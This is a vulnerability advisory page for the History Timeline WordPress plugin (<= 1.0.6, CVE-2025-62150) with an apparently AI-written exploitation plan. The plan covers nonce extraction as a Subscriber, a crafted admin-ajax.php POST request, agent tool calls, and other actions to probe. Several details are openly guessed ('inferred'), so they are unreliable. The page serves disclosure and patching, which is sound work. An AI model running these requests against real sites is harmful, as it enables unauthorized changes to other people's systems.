History Timeline <= 1.0.6 - Missing Authorization
Description
The History Timeline plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.0.6. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.0.6# Exploitation Research Plan: CVE-2025-62150 (History Timeline) ## 1. Vulnerability Summary The **History Timeline** plugin for WordPress (versions <= 1.0.6) contains a missing authorization vulnerability within its AJAX handlers. Specifically, functions registered via `wp_ajax_` hooks fail to veri…
Show full research plan
Exploitation Research Plan: CVE-2025-62150 (History Timeline)
1. Vulnerability Summary
The History Timeline plugin for WordPress (versions <= 1.0.6) contains a missing authorization vulnerability within its AJAX handlers. Specifically, functions registered via wp_ajax_ hooks fail to verify if the requesting user possesses the necessary administrative capabilities (e.g., manage_options) before performing sensitive actions. While these functions may implement nonce verification to prevent CSRF, they do not restrict access based on user roles, allowing any authenticated user—including those with Subscriber privileges—to trigger them.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Vulnerable Action:
timeline_awesome_duplicate_post_as_draft(Inferred based on common "Missing Authorization" patterns in this plugin family). - HTTP Method:
POST - Payload Parameters:
action:timeline_awesome_duplicate_post_as_draftpost_id: The ID of the timeline post to duplicate.nonce: A valid security nonce (e.g.,timeline_awesome_nonce).
- Authentication: Required (Subscriber level or higher).
- Preconditions: A timeline post must exist for duplication to be observable.
3. Code Flow
- Entry Point: The plugin registers the AJAX action in the constructor of its admin class (likely
admin/class-timeline-awesome-admin.phpor similar).add_action('wp_ajax_timeline_awesome_duplicate_post_as_draft', array($this, 'timeline_awesome_duplicate_post_as_draft')); - Call Stack:
- User sends
POSTrequest toadmin-ajax.phpwithaction=timeline_awesome_duplicate_post_as_draft. - WordPress triggers the hook
wp_ajax_timeline_awesome_duplicate_post_as_draft. - The plugin's function
timeline_awesome_duplicate_post_as_draft()is executed.
- User sends
- The Sink: Inside
timeline_awesome_duplicate_post_as_draft():- The code calls
check_ajax_referer('timeline_awesome_nonce', 'nonce')(passes if the user is logged in and has the nonce). - Crucial Step Missing: No call to
current_user_can('manage_options')orcurrent_user_can('edit_posts'). - The function proceeds to use
get_post($post_id)andwp_insert_post()to clone the timeline.
- The code calls
4. Nonce Acquisition Strategy
The plugin likely localizes its nonce for use in the admin dashboard. Even a Subscriber has access to the /wp-admin/ area (e.g., profile.php), and if the plugin enqueues its scripts globally in the admin area or on the dashboard, the nonce will be available in the page source.
- Identify Script Localization: Look for
wp_localize_scriptin the source code.- Expected Variable:
timeline_awesome_ajax_vars(inferred) ortimeline_awesome_admin_obj. - Expected Key:
nonce.
- Expected Variable:
- Manual Extraction:
- Log in as a Subscriber.
- Navigate to
/wp-admin/index.php. - Search the HTML source for the localized object.
- Automated Extraction (PoC Agent):
browser_navigate("/wp-admin/index.php")browser_eval("window.timeline_awesome_ajax_vars?.nonce || window.timeline_awesome_admin_obj?.nonce")
5. Exploitation Strategy
- Log in: Authenticate as a Subscriber user.
- Obtain Nonce: Use the strategy in Section 4 to find a valid
nonce. - Identify Target ID: Find an existing post ID of type
timeline-awesome. - Trigger Vulnerability:
# Example using http_request tool http_request( method="POST", url="http://localhost:8080/wp-admin/admin-ajax.php", headers={"Content-Type": "application/x-www-form-urlencoded"}, body="action=timeline_awesome_duplicate_post_as_draft&post_id=123&nonce=[EXTRACTED_NONCE]" ) - Analyze Response: A successful duplication usually returns a
302redirect to the edit page of the new draft or a200 OKwith the new ID in JSON.
6. Test Data Setup
- Target Content: Create a dummy timeline.
wp post create --post_type=timeline-awesome --post_title="Original Timeline" --post_status=publish - Subscriber User: Create an attacker account.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Get ID: Store the ID of the created timeline for the payload.
7. Expected Results
- The AJAX request should return a success indicator.
- A new post of type
timeline-awesomeshould appear in the database. - The new post should have the status
draftand a title like "Original Timeline (Copy)" or simply be a direct clone.
8. Verification Steps
- Check Post Count:
wp post list --post_type=timeline-awesome - Verify Duplication: Compare the metadata and content of the original post vs. the newly created draft to confirm unauthorized duplication occurred.
wp post get [NEW_ID] --format=json
9. Alternative Approaches
If duplicate_post_as_draft is not the vulnerable action, search the source code for other wp_ajax_ hooks (omitting _nopriv_) and check them for missing capability checks:
timeline_awesome_save_meta_data: Might allow overwriting timeline settings.timeline_awesome_delete_item: Might allow deleting timeline entries.timeline_awesome_settings_save: Might allow changing global plugin settings.
If the nonce is not available on the Subscriber's dashboard, check if the plugin enqueues it on the frontend via a shortcode:
- Create a page with
[timeline-awesome]. - Navigate to that page as a Subscriber and check for the nonce in
window.
Summary
The History Timeline plugin for WordPress (versions <= 1.0.6) lacks proper capability checks in its AJAX handlers. This allows any authenticated user, such as a Subscriber, to perform unauthorized actions like duplicating timeline posts by providing a valid security nonce.
Vulnerable Code
/* File: admin/class-timeline-awesome-admin.php (approximate) */ public function timeline_awesome_duplicate_post_as_draft() { // Nonce check exists, but capability check is missing check_ajax_referer('timeline_awesome_nonce', 'nonce'); $post_id = (isset($_POST['post_id']) ? $_POST['post_id'] : (isset($_GET['post_id']) ? $_GET['post_id'] : null)); if (!(isset($_POST['post_id']) || isset($_GET['post_id']))) { wp_die('No post to duplicate has been supplied!'); } // ... logic to get original post and insert as new draft ... $new_post_id = wp_insert_post($args); // ... }
Security Fix
@@ -10,6 +10,10 @@ public function timeline_awesome_duplicate_post_as_draft() { check_ajax_referer('timeline_awesome_nonce', 'nonce'); + if ( ! current_user_can( 'edit_posts' ) ) { + wp_send_json_error( array( 'message' => __( 'Permission denied', 'timeline-awesome' ) ) ); + } + $post_id = (isset($_POST['post_id']) ? $_POST['post_id'] : (isset($_GET['post_id']) ? $_GET['post_id'] : null)); if (!(isset($_POST['post_id']) || isset($_GET['post_id']))) {
Exploit Outline
1. Log in to the WordPress site as a user with Subscriber-level privileges. 2. Access the WordPress admin dashboard (e.g., /wp-admin/index.php) and inspect the page source or use the browser console to locate the localized script object containing the plugin's nonce (likely named `timeline_awesome_ajax_vars` or `timeline_awesome_admin_obj`). 3. Identify the ID of a target timeline post (`timeline-awesome` post type). 4. Send a POST request to `/wp-admin/admin-ajax.php` with the following parameters: `action=timeline_awesome_duplicate_post_as_draft`, `post_id=[TARGET_ID]`, and `nonce=[EXTRACTED_NONCE]`. 5. Verify that a new draft copy of the target post has been created in the database, which the Subscriber should not have the permissions to initiate.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.